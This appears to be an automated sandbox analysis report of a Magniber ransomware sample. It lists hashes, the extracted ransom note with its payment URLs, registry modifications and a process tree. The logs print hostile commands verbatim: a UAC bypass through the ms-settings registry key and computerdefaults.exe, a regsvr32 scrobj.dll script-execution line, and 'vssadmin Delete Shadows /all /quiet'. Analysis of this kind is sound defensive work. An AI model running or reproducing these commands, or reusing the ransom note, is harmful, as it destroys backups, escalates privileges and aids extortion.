magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Analysis

max time kernel
141s
max time network
126s
platform
windows10_x64
resource
win10-en-20211014
submitted
23-11-2021 20:46

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General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://400846a8ec7ca27038eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://400846a8ec7ca27038eltalkfzj.jobsbig.cam/eltalkfzj http://400846a8ec7ca27038eltalkfzj.boxgas.icu/eltalkfzj http://400846a8ec7ca27038eltalkfzj.sixsees.club/eltalkfzj http://400846a8ec7ca27038eltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://400846a8ec7ca27038eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://400846a8ec7ca27038eltalkfzj.jobsbig.cam/eltalkfzj

http://400846a8ec7ca27038eltalkfzj.boxgas.icu/eltalkfzj

http://400846a8ec7ca27038eltalkfzj.sixsees.club/eltalkfzj

http://400846a8ec7ca27038eltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 14 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	752	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4204	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4280	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4320	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4388	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4468	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4476	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4548	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4640	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4688	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4772	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4816	344	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4884	344	cmd.exe	89

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\WriteRevoke.crw => C:\Users\Admin\Pictures\WriteRevoke.crw.eltalkfzj	sihost.exe
File opened for modification	C:\Users\Admin\Pictures\DisablePop.tiff	sihost.exe
File renamed	C:\Users\Admin\Pictures\DisablePop.tiff => C:\Users\Admin\Pictures\DisablePop.tiff.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\SetRename.png => C:\Users\Admin\Pictures\SetRename.png.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\UnlockUnregister.png => C:\Users\Admin\Pictures\UnlockUnregister.png.eltalkfzj	sihost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2480 set thread context of 2292	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	33
PID 2480 set thread context of 2300	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	32
PID 2480 set thread context of 2464	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	28
PID 2480 set thread context of 2960	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	21
PID 2480 set thread context of 3408	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	19
PID 2480 set thread context of 3684	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	18

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4052	3684	WerFault.exe	18

Modifies registry class 27 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhostw.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3212	notepad.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe
4052	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2960	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	WerFault.exe
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1484	WMIC.exe
Token: SeSecurityPrivilege	1484	WMIC.exe
Token: SeTakeOwnershipPrivilege	1484	WMIC.exe
Token: SeLoadDriverPrivilege	1484	WMIC.exe
Token: SeSystemProfilePrivilege	1484	WMIC.exe
Token: SeSystemtimePrivilege	1484	WMIC.exe
Token: SeProfSingleProcessPrivilege	1484	WMIC.exe
Token: SeIncBasePriorityPrivilege	1484	WMIC.exe
Token: SeCreatePagefilePrivilege	1484	WMIC.exe
Token: SeBackupPrivilege	1484	WMIC.exe
Token: SeRestorePrivilege	1484	WMIC.exe
Token: SeShutdownPrivilege	1484	WMIC.exe
Token: SeDebugPrivilege	1484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1484	WMIC.exe
Token: SeRemoteShutdownPrivilege	1484	WMIC.exe
Token: SeUndockPrivilege	1484	WMIC.exe
Token: SeManageVolumePrivilege	1484	WMIC.exe
Token: 33	1484	WMIC.exe
Token: 34	1484	WMIC.exe
Token: 35	1484	WMIC.exe
Token: 36	1484	WMIC.exe
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeShutdownPrivilege	2960	Explorer.EXE
Token: SeCreatePagefilePrivilege	2960	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1036	WMIC.exe
Token: SeSecurityPrivilege	1036	WMIC.exe
Token: SeTakeOwnershipPrivilege	1036	WMIC.exe
Token: SeLoadDriverPrivilege	1036	WMIC.exe
Token: SeSystemProfilePrivilege	1036	WMIC.exe
Token: SeSystemtimePrivilege	1036	WMIC.exe
Token: SeProfSingleProcessPrivilege	1036	WMIC.exe
Token: SeIncBasePriorityPrivilege	1036	WMIC.exe
Token: SeCreatePagefilePrivilege	1036	WMIC.exe
Token: SeBackupPrivilege	1036	WMIC.exe
Token: SeRestorePrivilege	1036	WMIC.exe
Token: SeShutdownPrivilege	1036	WMIC.exe
Token: SeDebugPrivilege	1036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1036	WMIC.exe
Token: SeRemoteShutdownPrivilege	1036	WMIC.exe
Token: SeUndockPrivilege	1036	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 3212	2292	sihost.exe	71
PID 2292 wrote to memory of 3212	2292	sihost.exe	71
PID 2292 wrote to memory of 2204	2292	sihost.exe	72
PID 2292 wrote to memory of 2204	2292	sihost.exe	72
PID 2292 wrote to memory of 532	2292	sihost.exe	74
PID 2292 wrote to memory of 532	2292	sihost.exe	74
PID 2292 wrote to memory of 1508	2292	sihost.exe	77
PID 2292 wrote to memory of 1508	2292	sihost.exe	77
PID 2300 wrote to memory of 920	2300	svchost.exe	78
PID 2300 wrote to memory of 920	2300	svchost.exe	78
PID 2300 wrote to memory of 2824	2300	svchost.exe	79
PID 2300 wrote to memory of 2824	2300	svchost.exe	79
PID 532 wrote to memory of 1484	532	cmd.exe	81
PID 532 wrote to memory of 1484	532	cmd.exe	81
PID 1508 wrote to memory of 1036	1508	cmd.exe	86
PID 1508 wrote to memory of 1036	1508	cmd.exe	86
PID 2464 wrote to memory of 436	2464	taskhostw.exe	83
PID 2464 wrote to memory of 436	2464	taskhostw.exe	83
PID 2464 wrote to memory of 704	2464	taskhostw.exe	85
PID 2464 wrote to memory of 704	2464	taskhostw.exe	85
PID 2824 wrote to memory of 1168	2824	cmd.exe	88
PID 2824 wrote to memory of 1168	2824	cmd.exe	88
PID 2960 wrote to memory of 1548	2960	Explorer.EXE	90
PID 2960 wrote to memory of 1548	2960	Explorer.EXE	90
PID 2960 wrote to memory of 1144	2960	Explorer.EXE	94
PID 2960 wrote to memory of 1144	2960	Explorer.EXE	94
PID 436 wrote to memory of 2272	436	cmd.exe	92
PID 436 wrote to memory of 2272	436	cmd.exe	92
PID 920 wrote to memory of 2200	920	cmd.exe	95
PID 920 wrote to memory of 2200	920	cmd.exe	95
PID 3408 wrote to memory of 2876	3408	RuntimeBroker.exe	96
PID 3408 wrote to memory of 2876	3408	RuntimeBroker.exe	96
PID 3408 wrote to memory of 3004	3408	RuntimeBroker.exe	97
PID 3408 wrote to memory of 3004	3408	RuntimeBroker.exe	97
PID 704 wrote to memory of 2008	704	cmd.exe	100
PID 704 wrote to memory of 2008	704	cmd.exe	100
PID 2480 wrote to memory of 1708	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	101
PID 2480 wrote to memory of 1708	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	101
PID 2480 wrote to memory of 3040	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	103
PID 2480 wrote to memory of 3040	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	103
PID 1144 wrote to memory of 2120	1144	cmd.exe	105
PID 1144 wrote to memory of 2120	1144	cmd.exe	105
PID 1548 wrote to memory of 3568	1548	cmd.exe	106
PID 1548 wrote to memory of 3568	1548	cmd.exe	106
PID 2876 wrote to memory of 3788	2876	cmd.exe	109
PID 2876 wrote to memory of 3788	2876	cmd.exe	109
PID 2480 wrote to memory of 2124	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	107
PID 2480 wrote to memory of 2124	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	107
PID 2480 wrote to memory of 1284	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	108
PID 2480 wrote to memory of 1284	2480	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	108
PID 3004 wrote to memory of 3796	3004	cmd.exe	112
PID 3004 wrote to memory of 3796	3004	cmd.exe	112
PID 1708 wrote to memory of 4028	1708	cmd.exe	113
PID 1708 wrote to memory of 4028	1708	cmd.exe	113
PID 3040 wrote to memory of 1620	3040	cmd.exe	114
PID 3040 wrote to memory of 1620	3040	cmd.exe	114
PID 1284 wrote to memory of 2328	1284	cmd.exe	117
PID 1284 wrote to memory of 2328	1284	cmd.exe	117
PID 2124 wrote to memory of 2136	2124	cmd.exe	118
PID 2124 wrote to memory of 2136	2124	cmd.exe	118
PID 2492 wrote to memory of 4108	2492	cmd.exe	121
PID 2492 wrote to memory of 4108	2492	cmd.exe	121
PID 752 wrote to memory of 4156	752	cmd.exe	122
PID 752 wrote to memory of 4156	752	cmd.exe	122

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3684
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3684 -s 816
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4052

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3788
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3796

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:4028
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3040
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:1620
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2136
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1284
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2328
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3568
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2120

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2464
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2272
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:704
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2008

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2300
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2200
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1168

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2292
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3212
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://400846a8ec7ca27038eltalkfzj.jobsbig.cam/eltalkfzj^&1^&49596208^&68^&297^&2215063"
  2⤵
  PID:2204
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1484
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1036

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4108

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4156

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4204
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4244

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4280
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4360

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4320
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4428

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4388
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4608

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4468
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4756

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4476
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4788

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4548
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4724

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4640
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4976

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4688
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5008

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4772
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5064

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4816
